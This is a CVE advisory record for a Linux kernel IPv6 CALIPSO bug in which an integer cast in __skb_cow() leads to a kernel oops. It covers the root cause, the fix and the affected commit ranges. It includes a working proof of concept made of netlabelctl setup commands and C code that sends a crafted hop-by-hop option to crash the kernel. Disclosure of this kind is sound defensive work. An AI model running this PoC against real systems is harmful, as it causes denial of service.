---
id: CVE-2025-71085
title: 'ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()'
summary: |-
  In the Linux kernel, the following vulnerability has been resolved:

  ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

  There exists a kernel oops caused by a BUG_ON(nhead < 0) at
  net/core/skbuff.c:2232 in pskb_expand…
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
cvssSource: cna
vendor: Linux
product: Linux
affected:
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    86f365897068d09418488165a68b23cb5baa37f2
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    6b7522424529556c9cbc15e15e7bd4eeae310910
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    2bb759062efa188ea5d07242a43e5aa5464bbae1
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    c53aa6a5086f03f19564096ee084a202a8c738c0
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    bf3709738d8a8cc6fa275773170c5c29511a0b24
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    73744ad5696dce0e0f43872aba8de6a83d6ad570
  - >-
    Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 <
    58fc7342b529803d3c221101102fe913df7adb83
  - Linux 4.8
ssvc:
  exploitation: none
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-06-10T20:42:02.469421Z'
published: '2026-01-13'
updated: '2026-09-08'
sourceUpdated: '2026-09-08T08:43:44.889Z'
source: CVEORG
sourceUrl: 'https://www.cve.org/CVERecord?id=CVE-2025-71085'
references:
  - url: 'https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2'
  - url: 'https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910'
  - url: 'https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1'
  - url: 'https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0'
  - url: 'https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24'
  - url: 'https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570'
  - url: 'https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83'
tags:
  - cve.org
epss: 0.00279
epssPercentile: 0.20637
ingestedAt: '2026-09-08T15:33:26.995Z'
---

## Overview

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);

## Affected

- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < 86f365897068d09418488165a68b23cb5baa37f2`
- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < 6b7522424529556c9cbc15e15e7bd4eeae310910`
- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < 2bb759062efa188ea5d07242a43e5aa5464bbae1`
- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < c53aa6a5086f03f19564096ee084a202a8c738c0`
- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < bf3709738d8a8cc6fa275773170c5c29511a0b24`
- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < 73744ad5696dce0e0f43872aba8de6a83d6ad570`
- `Linux >= 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 < 58fc7342b529803d3c221101102fe913df7adb83`
- `Linux 4.8`

## Remediation

Refer to the linked advisories for vendor-supplied fixes and affected version ranges.